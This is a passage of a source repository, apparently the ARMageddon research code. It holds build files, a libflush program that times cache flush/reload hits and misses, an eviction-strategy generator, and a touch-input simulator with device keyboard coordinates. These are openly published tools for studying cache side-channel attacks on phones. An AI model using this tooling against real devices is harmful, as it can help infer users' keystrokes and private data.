LIBFLUSH_DEBUG=${LIBFLUSH_BUILDDIR}/debug/libflush.a 16 | 17 | ifeq "${ARCH}" "x86" 18 | LDFLAGS += -pthread 19 | endif 20 | 21 | ifeq "${ARCH}" "armv7" 22 | include ${LIBFLUSH_SOURCE}/config-arm.mk 23 | LDFLAGS += -pie 24 | endif 25 | 26 | ifeq "${ARCH}" "armv8" 27 | include ${LIBFLUSH_SOURCE}/config-arm64.mk 28 | LDFLAGS += -pie 29 | endif 30 | 31 | all: options ${PROJECT} 32 | 33 | options: 34 | ${ECHO} ${PROJECT} build options: 35 | ${ECHO} "CFLAGS = ${CFLAGS}" 36 | ${ECHO} "LDFLAGS = ${LDFLAGS}" 37 | ${ECHO} "LIBS = ${LIBS}" 38 | ${ECHO} "CC = ${CC}" 39 | 40 | # release build 41 | 42 | ${OBJECTS}: ${LIBFLUSH_SOURCE}/config.mk 43 | 44 | ${BUILDDIR_RELEASE}/%.o: %.c 45 | $(call colorecho,CC,$<) 46 | @mkdir -p ${DEPENDDIR}/$(dir $(abspath $@)) 47 | @mkdir -p $(dir $(abspath $@)) 48 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} -o $@ $< -MMD -MF ${DEPENDDIR}/$(abspath $@).dep 49 | 50 | ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT}: ${OBJECTS} 51 | $(call colorecho,CC,$@) 52 | @mkdir -p ${BUILDDIR_RELEASE}/${BINDIR} 53 | $(QUIET)${CC} ${SFLAGS} ${LDFLAGS} \ 54 | -o ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} ${OBJECTS} ${LIBS} ${LIBFLUSH_RELEASE} 55 | 56 | ${PROJECT}: ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} 57 | 58 | run: ${PROJECT} 59 | ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} 60 | 61 | # debug build 62 | 63 | ${OBJECTS_DEBUG}: ${LIBFLUSH_SOURCE}/config.mk 64 | 65 | ${BUILDDIR_DEBUG}/%.o: %.c 66 | $(call colorecho,CC,$<) 67 | @mkdir -p ${DEPENDDIR}/$(dir $(abspath $@)) 68 | @mkdir -p $(dir $(abspath $@)) 69 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} -o $@ $< -MMD -MF ${DEPENDDIR}/$(abspath $@).dep 70 | 71 | ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT}: ${OBJECTS_DEBUG} dependencies-debug 72 | $(call colorecho,CC,$@) 73 | @mkdir -p ${BUILDDIR_DEBUG}/${BINDIR} 74 | $(QUIET)${CC} ${SFLAGS} ${LDFLAGS} \ 75 | -o ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} ${OBJECTS_DEBUG} ${LIBS} ${LIBFLUSH_DEBUG} 76 | 77 | debug: ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 78 | 79 | run-debug: debug 80 | ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 81 | 82 | dependencies-debug: 83 | $(QUIET)${MAKE} WITH_LIBFIU=1 -C .. debug 84 | 85 | # debugging 86 | 87 | gdb: debug 88 | $(QUIET)${GDB} ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 89 | 90 | # clean 91 | 92 | clean: 93 | $(QUIET)rm -rf ${PROJECT}.so ${OBJECTS} .depend ${PROJECT}.gcda ${PROJECT}.gcno 94 | 95 | .PHONY: all options clean debug run dependencies dependencies-debug gdb 96 | 97 | -include $(wildcard .depend/*.dep) 98 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/source/main.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for license and copyright information */ 2 | 3 | #define _GNU_SOURCE 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include 15 | 16 | #define NUMBER_OF_RUNS (1ull*1000ull*1000ull) 17 | #define BATCH_SIZE 5000 18 | #define BIND_TO_CPU 1 19 | 20 | #define MIN(a, b) ((a) > (b)) ? (b) : (a) 21 | 22 | static void 23 | print_help(char* argv[]) { 24 | fprintf(stdout, "Usage: %s [OPTIONS]\n", argv[0]); 25 | fprintf(stdout, "\t-c, -cpu \t Bind to cpu\n"); 26 | fprintf(stdout, "\t-t, -thread-cpu \t Bind thread to cpu (only for thread counter)\n"); 27 | fprintf(stdout, "\t-n, -number-of-measurements \t Number of measurements\n"); 28 | fprintf(stdout, "\t-b, -batch-size \t Batch size\n"); 29 | fprintf(stdout, "\t-h, -help\t Help page\n"); 30 | } 31 | 32 | int 33 | main(int argc, char* argv[]) 34 | { 35 | /* Define parameters */ 36 | size_t cpu = BIND_TO_CPU; 37 | size_t thread_cpu = BIND_TO_CPU + 1; 38 | FILE* logfile = NULL; 39 | uint64_t number_of_runs = NUMBER_OF_RUNS; 40 | uint64_t batch_size = BATCH_SIZE; 41 | 42 | /* Parse arguments */ 43 | static const char* short_options = "c:t:n:b:h"; 44 | static struct option long_options[] = { 45 | {"cpu", required_argument, NULL, 'c'}, 46 | {"thread-cpu", required_argument, NULL, 't'}, 47 | {"number-of-runs", required_argument, NULL, 'n'}, 48 | {"batch-size", required_argument, NULL, 'b'}, 49 | {"help", no_argument, NULL, 'h'}, 50 | { NULL, 0, NULL, 0} 51 | }; 52 | 53 | size_t number_of_cpus = sysconf(_SC_NPROCESSORS_ONLN); 54 | 55 | int c; 56 | while ((c = getopt_long(argc, argv, short_options, long_options, NULL)) != -1) { 57 | switch (c) { 58 | case 'c': 59 | cpu = atoi(optarg); 60 | if (cpu >= number_of_cpus) { 61 | fprintf(stderr, "Error: CPU %zu is not available.\n", cpu); 62 | return -1; 63 | } 64 | break; 65 | case 't': 66 | thread_cpu = atoi(optarg); 67 | if (thread_cpu >= number_of_cpus) { 68 | fprintf(stderr, "Error: CPU %zu is not available.\n", thread_cpu); 69 | return -1; 70 | } 71 | break; 72 | case 'n': 73 | number_of_runs = atoi(optarg); 74 | break; 75 | case 'b': 76 | batch_size = atoi(optarg); 77 | break; 78 | case 'h': 79 | print_help(argv); 80 | return 0; 81 | case ':': 82 | fprintf(stderr, "Error: option `-%c' requires an argument\n", optopt); 83 | break; 84 | case '?': 85 | default: 86 | fprintf(stderr, "Error: Invalid option '-%c'\n", optopt); 87 | return -1; 88 | } 89 | } 90 | 91 | if (optind >= argc) { 92 | fprintf(stderr, "Error: No logfile passed\n"); 93 | return 0; 94 | } 95 | 96 | logfile = fopen(argv[optind], "w+"); 97 | if (logfile == NULL) { 98 | fprintf(stderr, "Error: Could not open logfile '%s'\n", argv[optind]); 99 | return -1; 100 | } 101 | 102 | /* Bind to CPU */ 103 | cpu = cpu % number_of_cpus; 104 | thread_cpu = thread_cpu % number_of_cpus; 105 | 106 | if (libflush_bind_to_cpu(cpu) == false) { 107 | fprintf(stderr, "Could not bind to CPU: %zu\n", cpu); 108 | } 109 | 110 | char buffer[4096] = {0}; 111 | void* address = (void*) ((size_t) &buffer[1024] & ~(0x3F)); 112 | 113 | /* Initialize libflush */ 114 | libflush_session_args_t args; 115 | args.bind_to_cpu = thread_cpu; 116 | libflush_session_t* libflush_session; 117 | if (libflush_init(&libflush_session, &args) == false) { 118 | fprintf(stderr, "Error: Could not initialize libflush.\n"); 119 | return -1; 120 | } 121 | 122 | // Initialize results 123 | uint64_t* miss_measurements = calloc(number_of_runs, sizeof(uint64_t)); 124 | if (miss_measurements == NULL) { 125 | fprintf(stderr, "Error: Out of memory\n"); 126 | return -1; 127 | } 128 | 129 | uint64_t* execution_measurements = calloc(number_of_runs, sizeof(uint64_t)); 130 | if (execution_measurements == NULL) { 131 | fprintf(stderr, "Error: Out of memory\n"); 132 | return -1; 133 | } 134 | 135 | uint64_t number_of_batches = ceil(number_of_runs / batch_size); 136 | 137 | uint64_t* execution_batch_measurements = calloc(number_of_batches, sizeof(uint64_t)); 138 | if (execution_batch_measurements == NULL) { 139 | fprintf(stderr, "Error: Out of memory\n"); 140 | return -1; 141 | } 142 | 143 | libflush_flush(libflush_session, address); 144 | 145 | // Measure time it takes to access something from the memory 146 | for (unsigned int i = 0; i < number_of_runs; i++) { 147 | uint64_t time = libflush_reload_address_and_flush(libflush_session, address); 148 | miss_measurements[i] = time; 149 | sched_yield(); 150 | } 151 | 152 | // Miss time 153 | libflush_reset_timing(libflush_session); 154 | for (unsigned int i = 0; i < number_of_runs; i++) { 155 | uint64_t begin = libflush_get_timing(libflush_session); 156 | libflush_flush(libflush_session, address); 157 | libflush_access_memory(address); 158 | uint64_t end = libflush_get_timing(libflush_session); 159 | execution_measurements[i] = end - begin; 160 | sched_yield(); 161 | } 162 | 163 | for (unsigned int b = 0; b < number_of_batches; b++) { 164 | libflush_reset_timing(libflush_session); 165 | 166 | uint64_t begin = libflush_get_timing(libflush_session); 167 | for (unsigned int i = 0; i < batch_size; i++) { 168 | libflush_access_memory(address); 169 | libflush_flush(libflush_session, address); 170 | } 171 | uint64_t end = libflush_get_timing(libflush_session); 172 | execution_batch_measurements[b] = end - begin; 173 | sched_yield(); 174 | } 175 | 176 | fprintf(logfile, "Miss,Runtime,RuntimeBatch\n"); 177 | for (unsigned int i = 0; i < number_of_runs; i++) { 178 | fprintf(logfile, "%" PRIu64 ",%" PRIu64 ",", 179 | miss_measurements[i], execution_measurements[i]); 180 | 181 | if (i < number_of_batches) { 182 | fprintf(logfile, "%" PRIu64 "", execution_batch_measurements[i]); 183 | } 184 | 185 | fprintf(logfile, "\n"); 186 | } 187 | 188 | fflush(logfile); 189 | fclose(logfile); 190 | 191 | free(miss_measurements); 192 | free(execution_measurements); 193 | 194 | /* Terminate libflush */ 195 | libflush_terminate(libflush_session); 196 | 197 | return 0; 198 | } 199 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/strategy.py: -------------------------------------------------------------------------------- 1 | import os 2 | import math 3 | from jinja2 import Environment, FileSystemLoader 4 | 5 | from .build import Builder 6 | from .executor import Executor 7 | 8 | 9 | def render_template(template_file, context): 10 | path = os.path.dirname(os.path.abspath(__file__)) 11 | environment = Environment( 12 | autoescape=False, 13 | loader=FileSystemLoader(os.path.join(path, 'templates')), 14 | trim_blocks=False) 15 | 16 | return environment.get_template(template_file).render(context) 17 | 18 | 19 | def generate_source(template_file, source_file, **context): 20 | code = render_template(template_file, context) 21 | 22 | # Save source file 23 | with open(source_file, 'w') as f: 24 | f.write(code) 25 | 26 | 27 | class Strategy(object): 28 | def __init__(self, configuration, device_configuration, eviction_counter, 29 | number_of_accesses_in_loop, different_addresses_in_loop, 30 | step_size, mirroring): 31 | self.device_configuration = device_configuration 32 | self.eviction_counter = eviction_counter 33 | self.number_of_accesses_in_loop = number_of_accesses_in_loop 34 | self.different_addresses_in_loop = different_addresses_in_loop 35 | self.step_size = step_size 36 | self.mirroring = mirroring 37 | self.number_of_addresses = self.eviction_counter + self.different_addresses_in_loop - 1 38 | self.configuration = configuration 39 | self.builder = Builder(self.configuration, self) 40 | self.executor = Executor(self.configuration, self, self.builder) 41 | 42 | def build(self, force): 43 | return self.builder.build(force) 44 | 45 | def run(self, number_of_measurements, force): 46 | return self.executor.run(number_of_measurements, force) 47 | 48 | def get_logfile_name(self): 49 | device_codename = self.device_configuration['device']['codename'] 50 | log_dir = os.path.join(self.configuration['logs']['directory'], device_codename) 51 | local_logfile = os.path.join(log_dir, self.get_name() + ".log") 52 | return local_logfile 53 | 54 | def save_strategy_to_file(self, source_file): 55 | generate_source( 56 | 'strategy.jinja2', 57 | source_file, 58 | number_of_sets=self.device_configuration['cache']['number-of-sets'], 59 | line_length=self.device_configuration['cache']['line-length'], 60 | line_length_log2=int(math.log( 61 | self.device_configuration['cache']['line-length'], 62 | 2)), 63 | eviction_counter=self.eviction_counter, 64 | number_of_accesses_in_loop=self.number_of_accesses_in_loop, 65 | different_addresses_in_loop=self.different_addresses_in_loop, 66 | step_size=self.step_size) 67 | 68 | def get_name(self): 69 | name = "%d-%d-%d-%d-%s" % (self.number_of_addresses, 70 | self.number_of_accesses_in_loop, 71 | self.different_addresses_in_loop, 72 | self.step_size, 73 | "M" if self.mirroring else "m") 74 | return name 75 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/templates/strategy.jinja2: -------------------------------------------------------------------------------- 1 | #define NUMBER_OF_SETS {{ number_of_sets }} 2 | #define LINE_LENGTH {{ line_length }} 3 | #define LINE_LENGTH_LOG2 {{ line_length_log2 }} 4 | #define ES_EVICTION_COUNTER {{ eviction_counter }} 5 | #define ES_NUMBER_OF_ACCESSES_IN_LOOP {{ number_of_accesses_in_loop }} 6 | #define ES_DIFFERENT_ADDRESSES_IN_LOOP {{ different_addresses_in_loop }} 7 | #define ES_STEP_SIZE {{ step_size }} 8 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/eviction_strategy_evaluator/utils.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import subprocess 3 | import io 4 | 5 | logger = logging.getLogger('default') 6 | 7 | 8 | def execute_command(command): 9 | proc = subprocess.Popen(command, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 10 | debug = True 11 | if debug is True: 12 | for l in io.TextIOWrapper(proc.stdout, encoding='utf-8'): 13 | print(l, end="") 14 | for l in io.TextIOWrapper(proc.stderr, encoding='utf-8'): 15 | print(l, end="") 16 | else: 17 | proc.communicate() 18 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/setup.cfg: -------------------------------------------------------------------------------- 1 | [egg_info] 2 | tag_build = dev 3 | 4 | [upload] 5 | dry-run = 1 6 | -------------------------------------------------------------------------------- /eviction_strategy_evaluator/setup.py: -------------------------------------------------------------------------------- 1 | from codecs import open as codecs_open 2 | from setuptools import setup, find_packages 3 | 4 | 5 | # Get the long description from the relevant file 6 | with codecs_open('README.md', encoding='utf-8') as f: 7 | long_description = f.read() 8 | 9 | 10 | setup(name='eviction_strategy_evaluator', 11 | version='0.0.1', 12 | description=u"Eviction strategy evaluator for libflush", 13 | long_description=long_description, 14 | classifiers=[], 15 | keywords='', 16 | author=u"Moritz Lipp", 17 | author_email='mail@mlq.me', 18 | url='https://github.com/iaik/armageddon', 19 | license='zlib', 20 | packages=find_packages(exclude=['ez_setup', 'examples', 'tests']), 21 | package_data={"eviction_strategy_evaluator": [ 22 | "templates/strategy.jinja2", 23 | "source/Makefile", 24 | "source/main.c" 25 | ]}, 26 | include_package_data=True, 27 | zip_safe=False, 28 | install_requires=[ 29 | 'click', 30 | 'PyYAML', 31 | 'pandas' 32 | ], 33 | extras_require={ 34 | 'test': ['pytest'], 35 | }, 36 | entry_points=""" 37 | [console_scripts] 38 | eviction_strategy_evaluator=eviction_strategy_evaluator.main:main 39 | """ 40 | ) 41 | -------------------------------------------------------------------------------- /input_simulator/Makefile: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | include config.mk 4 | include colors.mk 5 | include common.mk 6 | 7 | SOURCE = $(wildcard ${PROJECT}/*.c) 8 | 9 | ifneq ($(wildcard ${VALGRIND_SUPPRESSION_FILE}),) 10 | VALGRIND_ARGUMENTS += --suppressions=${VALGRIND_SUPPRESSION_FILE} 11 | endif 12 | 13 | OBJECTS = $(addprefix ${BUILDDIR_RELEASE}/,${SOURCE:.c=.o}) 14 | OBJECTS_DEBUG = $(addprefix ${BUILDDIR_DEBUG}/,${SOURCE:.c=.o}) 15 | 16 | ifeq "${ARCH}" "armv7" 17 | include config-arm.mk 18 | CPPFLAGS += -DARM_DEVICE 19 | endif 20 | 21 | ifeq "${ARCH}" "armv8" 22 | include config-arm64.mk 23 | CPPFLAGS += -D__ARM_ARCH_8A__ 24 | endif 25 | 26 | ifneq (${DEVICE_CONFIGURATION},0) 27 | CFLAGS += -D${DEVICE_CONFIGURATION} 28 | endif 29 | 30 | all: options ${PROJECT} 31 | 32 | # pkg-config based version checks 33 | .version-checks/%: config.mk 34 | $(QUIET)test $($(*)_VERSION_CHECK) -eq 0 || \ 35 | ${PKG_CONFIG} --atleast-version $($(*)_MIN_VERSION) $($(*)_PKG_CONFIG_NAME) || ( \ 36 | echo "The minimum required version of $(*) is $($(*)_MIN_VERSION)" && \ 37 | false \ 38 | ) 39 | @mkdir -p .version-checks 40 | $(QUIET)touch $@ 41 | 42 | options: 43 | @echo ${PROJECT} build options: 44 | @echo "CFLAGS = ${CFLAGS}" 45 | @echo "LIBS = ${LIBS}" 46 | @echo "DFLAGS = ${DFLAGS}" 47 | @echo "CC = ${CC}" 48 | 49 | # release build 50 | 51 | ${OBJECTS}: config.mk 52 | 53 | ${BUILDDIR_RELEASE}/%.o: %.c 54 | $(call colorecho,CC,$<) 55 | @mkdir -p ${DEPENDDIR}/$(dir $@) 56 | @mkdir -p $(dir $(abspath $@)) 57 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} -o $@ $< -MMD -MF ${DEPENDDIR}/$@.dep 58 | 59 | ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT}: ${OBJECTS} 60 | $(call colorecho,CC,$@) 61 | @mkdir -p ${BUILDDIR_RELEASE}/${BINDIR} 62 | $(QUIET)${CC} ${SFLAGS} ${LDFLAGS} \ 63 | -o ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} ${OBJECTS} ${LIBS} 64 | 65 | ${PROJECT}: ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} 66 | 67 | release: ${PROJECT} 68 | 69 | run: release 70 | $(QUIET)./${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} 71 | 72 | # debug build 73 | 74 | ${OBJECTS_DEBUG}: config.mk 75 | 76 | ${BUILDDIR_DEBUG}/%.o: %.c 77 | $(call colorecho,CC,$<) 78 | @mkdir -p ${DEPENDDIR}/$(dir $@) 79 | @mkdir -p $(dir $(abspath $@)) 80 | $(QUIET)${CC} -c ${CPPFLAGS} ${CFLAGS} ${DFLAGS} \ 81 | -o $@ $< -MMD -MF ${DEPENDDIR}/$@.dep 82 | 83 | ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT}: ${OBJECTS_DEBUG} 84 | $(call colorecho,CC,$@) 85 | @mkdir -p ${BUILDDIR_DEBUG}/${BINDIR} 86 | $(QUIET)${CC} ${LDFLAGS} \ 87 | -o ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} ${OBJECTS_DEBUG} ${LIBS} 88 | 89 | debug: ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 90 | 91 | run-debug: debug 92 | $(QUIET)./${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 93 | 94 | # clean 95 | 96 | clean: 97 | $(QUIET)rm -rf \ 98 | ${BUILDDIR} \ 99 | ${DEPENDDIR} \ 100 | ${TARFILE} \ 101 | ${TARDIR} \ 102 | 103 | valgrind: debug 104 | $(QUIET)G_SLICE=always-malloc G_DEBUG=gc-friendly ${VALGRIND} ${VALGRIND_ARGUMENTS} \ 105 | ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 106 | 107 | gdb: debug 108 | $(QUIET)cgdb ${BUILDDIR_DEBUG}/${BINDIR}/${PROJECT} 109 | 110 | dist: clean 111 | $(QUIET)tar -czf $(TARFILE) --exclude=.gitignore \ 112 | --transform 's,^,${PROJECT}-$(VERSION)/,' \ 113 | `git ls-files` 114 | 115 | install: all 116 | $(call colorecho,INSTALL,"executeable file") 117 | $(QUIET)mkdir -m 755 -p ${DESTDIR}${PREFIX}/bin 118 | $(QUIET)install -m 755 ${BUILDDIR_RELEASE}/${BINDIR}/${PROJECT} ${DESTDIR}${PREFIX}/bin 119 | 120 | uninstall: 121 | $(ECHO) removing executable file 122 | $(call colorecho,UNINSTALL,"executeable") 123 | $(QUIET)rm -f ${DESTDIR}${PREFIX}/bin/${PROJECT} 124 | 125 | DEPENDS = ${DEPENDDIRS:^=${DEPENDDIR}/}$(addprefix ${DEPENDDIR}/,${OBJECTS:.o=.o.dep}) 126 | -include ${DEPENDS} 127 | 128 | .PHONY: all options clean doc debug valgrind gdb dist install uninstall 129 | -------------------------------------------------------------------------------- /input_simulator/README.md: -------------------------------------------------------------------------------- 1 | # Input Simulator 2 | 3 | Input Simulator is a tool that can be used to simulate events like taps on the 4 | touch screen. 5 | 6 | It has been used for our [ARMageddon: Cache Attacks on Mobile Devices](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) paper by Lipp, Gruss, Spreitzer, Maurice and Mangard that has been published at the Usenix Security Symposium 2016 and presented at [Black Hat Europe 2016](https://www.blackhat.com/eu-16/briefings/schedule/index.html#armageddon-how-your-smartphone-cpu-breaks-software-level-security-and-privacy-4887). 7 | 8 | ## Table of content 9 | 10 | - [Installation](#installation) 11 | - [Dependencies](#dependencies) 12 | - [Usage](#usage) 13 | - [Customization](#example) 14 | - [License](#license) 15 | - [References](#references) 16 | 17 | ## Installation 18 | 19 | The tool is shipped with a Makefile and can be compiled by running: 20 | ```bash 21 | make 22 | ``` 23 | 24 | The tool can be installed on the host system: 25 | ```bash 26 | make install 27 | ``` 28 | ### Dependencies 29 | 30 | By default it uses the toolchains provided by the Android NDK if built 31 | for _armv7_ or _armv8_. 32 | 33 | * [Android NDK](https://developer.android.com/ndk/index.html) - Android Native 34 | Development Kit (optional, for ARM builds) 35 | 36 | ## Build Configuration 37 | 38 | The build system makes use of several configuration files. The parameters can be adjusted by modifying the files accordingly or by passing them to make (`make ARCH=x86`). The most important properties are the following: 39 | 40 | * `ARCH`: Defines the target architecture. 41 | * _x86_ (default) - Support for _i386_ and _x86_64_ 42 | * _armv7_ - Support for ARMv7 43 | * _armv8_ - Support for ARMv8 44 | * `DEVICE_CONFIGURATION`: Define which device you are using to enable 45 | device specific code. 46 | 47 | If the library is build for the ARMv7 or the ARMv8 architecture the build system uses the [config-arm.mk](config-arm.mk) or [config-arm64.mk](config-arm64.mk) configuration file. By default the build system makes use of the toolchains provided by the [Android NDK](https://developer.android.com/ndk/index.html), thus its possible that the installation path of the NDK needs to be modified: 48 | 49 | * `ANDROID_NDK_PATH`: Path to the installation of the Android NDK. 50 | * _/opt/android-ndk_ (default) 51 | * `ANDROID_PLATFORM`: Defines the used Android platform that is used. 52 | * _android-21_ (default) 53 | 54 | If you prefer to use a different toolchain/compiler, feel free to change `CC` and other properties accordingly. 55 | 56 | ## Usage 57 | 58 | ``` 59 | input-simulator [OPTIONS] 60 | ``` 61 | 62 | The following options are available: 63 | 64 | * **-r, -repititions** 65 | 66 | How often the event should be triggered. -1 means infinite repititions. 67 | 68 | * **-d, -delay** 69 | 70 | The delay between each triggered event. 71 | 72 | * **-h, -help** 73 | 74 | Show the help information. 75 | 76 | ## Customization 77 | 78 | **This code needs to be customized to suite your needs.** While we provide the mapping 79 | for the keyboards of three devices, they might do not match the keyboard and the 80 | device you use. Thus, you need to modify or extend the source code in 81 | `key-mapping.c` and `simulator.c`. 82 | 83 | ## License 84 | 85 | [Licensed](LICENSE) under the zlib license. 86 | 87 | ## References 88 | 89 | * [1] [ARMageddon: Cache Attacks on Mobile Devices (USENIX Security 2016) - Lipp, Gruss, Spreitzer, Maurice, Mangard](https://www.usenix.org/conference/usenixsecurity16/technical-sessions/presentation/lipp) 90 | * [2] [ARMageddon: How Your Smartphone CPU Breaks Software-Level Security and Privacy (Black Hat Europe 2016) - Lipp, Maurice](https://www.blackhat.com/eu-16/briefings/schedule/index.html#armageddon-how-your-smartphone-cpu-breaks-software-level-security-and-privacy-4887) 91 | * [3] [Cache Template Attacks: Automating Attacks on Inclusive Last-Level Caches (USENIX Security 2015) - Gruss, Spreitzer, Mangard](https://www.usenix.org/node/191011) 92 | -------------------------------------------------------------------------------- /input_simulator/colors.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | ifeq ($(COLOR),1) 4 | # GCC diagnostics colors 5 | DIAGNOSTICS_COLOR_AVAILABLE ?= $(shell ($(CC) -fdiagnostics-color=always -E - /dev/null 2>/dev/null && echo 1) || echo 0) 6 | ifeq ($(DIAGNOSTICS_COLOR_AVAILABLE),1) 7 | CPPFLAGS += -fdiagnostics-color=always 8 | endif 9 | 10 | # colorful output 11 | TPUT ?= /usr/bin/tput 12 | TPUT_AVAILABLE ?= $(shell ${TPUT} -V 2>/dev/null) 13 | 14 | ifdef TPUT_AVAILABLE 15 | COLOR_NORMAL = `$(TPUT) sgr0` 16 | COLOR_ACTION = `$(TPUT) bold``$(TPUT) setaf 3` 17 | COLOR_COMMENT = `$(TPUT) bold``$(TPUT) setaf 2` 18 | COLOR_BRACKET = `$(TPUT) setaf 4` 19 | define colorecho 20 | @echo $(COLOR_BRACKET)" ["$(COLOR_ACTION)$1$(COLOR_BRACKET)"] "$(COLOR_COMMENT)$2$(COLOR_BRACKET) $(COLOR_NORMAL) 21 | endef 22 | else 23 | define colorecho 24 | @echo " [$1]" $2 25 | endef 26 | endif 27 | else 28 | define colorecho 29 | @echo " [$1]" $2 30 | endef 31 | endif 32 | -------------------------------------------------------------------------------- /input_simulator/common.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | ifeq "$(VERBOSE)" "0" 4 | ECHO=@echo 5 | QUIET=@ 6 | else 7 | ECHO=@\# 8 | QUIET= 9 | endif 10 | -------------------------------------------------------------------------------- /input_simulator/config-arm.mk: -------------------------------------------------------------------------------- 1 | # Define Android specific variables 2 | ANDROID_NDK_PATH = /opt/android-ndk 3 | ANDROID_TOOLCHAIN_BIN = ${ANDROID_NDK_PATH}/toolchains/arm-linux-androideabi-4.9/prebuilt/linux-x86_64/bin 4 | ANDROID_SYSROOT = ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm 5 | 6 | ANDROID_CC = ${ANDROID_TOOLCHAIN_BIN}/arm-linux-androideabi-gcc 7 | ANDROID_CC_FLAGS = --sysroot=${ANDROID_SYSROOT} 8 | 9 | ANDROID_INCLUDES = -I ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm/usr/include 10 | ANDROID_CFLAGS = ${ANDROID_INCLUDES} -march=armv7-a -fPIE 11 | ANDROID_LDFLAGS = ${ANDROID_INCLUDES} -march=armv7-a -fPIE 12 | 13 | CC = ${ANDROID_CC} ${ANDROID_CC_FLAGS} 14 | CFLAGS += ${ANDROID_CFLAGS} 15 | LDFLAGS += -pie 16 | -------------------------------------------------------------------------------- /input_simulator/config-arm64.mk: -------------------------------------------------------------------------------- 1 | # Define Android specific variables 2 | ANDROID_NDK_PATH = /opt/android-ndk 3 | ANDROID_TOOLCHAIN_BIN = ${ANDROID_NDK_PATH}/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin 4 | ANDROID_SYSROOT = ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm64 5 | 6 | ANDROID_CC = ${ANDROID_TOOLCHAIN_BIN}/aarch64-linux-android-gcc 7 | ANDROID_CC_FLAGS = --sysroot=${ANDROID_SYSROOT} 8 | 9 | ANDROID_INCLUDES = -I ${ANDROID_NDK_PATH}/platforms/${ANDROID_PLATFORM}/arch-arm64/usr/include 10 | ANDROID_CFLAGS = ${ANDROID_INCLUDES} -march=armv8-a -fPIE 11 | ANDROID_LDFLAGS = ${ANDROID_INCLUDES} -march=armv8-a -fPIE 12 | 13 | CC = ${ANDROID_CC} ${ANDROID_CC_FLAGS} 14 | CFLAGS += ${ANDROID_CFLAGS} -flto 15 | LDFLAGS += ${ANDROID_LDFLAGS} -pie -flto 16 | -------------------------------------------------------------------------------- /input_simulator/config.mk: -------------------------------------------------------------------------------- 1 | # See LICENSE file for license and copyright information 2 | 3 | # project 4 | PROJECT = input-simulator 5 | VERSION = 0.0.1 6 | 7 | # arch 8 | ARCH = x86 9 | 10 | # pkg-config binary 11 | PKG_CONFIG ?= pkg-config 12 | 13 | # paths 14 | PREFIX ?= /usr 15 | DEPENDDIR ?= .depend 16 | BUILDDIR ?= build/${ARCH} 17 | BUILDDIR_RELEASE ?= ${BUILDDIR}/release 18 | BUILDDIR_DEBUG ?= ${BUILDDIR}/debug 19 | BINDIR ?= bin 20 | 21 | # libs 22 | INCS = 23 | LIBS = 24 | 25 | # compiler flags 26 | CFLAGS += -std=c11 -pedantic -Wall -Wno-format-zero-length -Wextra -O3 $(INCS) 27 | 28 | # debug 29 | DFLAGS ?= -g 30 | 31 | # linker flags 32 | LDFLAGS += -rdynamic 33 | 34 | # compiler 35 | CC ?= gcc 36 | 37 | # strip 38 | SFLAGS ?= -s 39 | 40 | # valgrind 41 | VALGRIND = valgrind 42 | VALGRIND_ARGUMENTS = --tool=memcheck --leak-check=yes --leak-resolution=high \ 43 | --show-reachable=yes --log-file=${PROJECT}-valgrind.log 44 | VALGRIND_SUPPRESSION_FILE = ${PROJECT}.suppression 45 | 46 | # set to something != 0 if you want verbose build output 47 | VERBOSE ?= 0 48 | 49 | # colors 50 | COLOR ?= 1 51 | 52 | # dist 53 | TARFILE = ${PROJECT}-${VERSION}.tar.gz 54 | TARDIR = ${PROJECT}-${VERSION} 55 | 56 | # android 57 | ANDROID_PLATFORM ?= android-21 58 | 59 | # device configuration 60 | DEVICE_CONFIGURATION ?= ZEROFLTE 61 | -------------------------------------------------------------------------------- /input_simulator/input-simulator/key-mapping.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #include "key-mapping.h" 4 | 5 | // Alcatel AOSP 6 | #if defined(ALTO45) 7 | key_mapping_t key_mappings[] = { 8 | { "a", 60, 660 }, 9 | { "b", 280, 730 }, 10 | { "c", 195, 730 }, 11 | { "d", 140, 660 }, 12 | { "e", 125, 570 }, 13 | { "f", 195, 660 }, 14 | { "g", 235, 660 }, 15 | { "h", 280, 660 }, 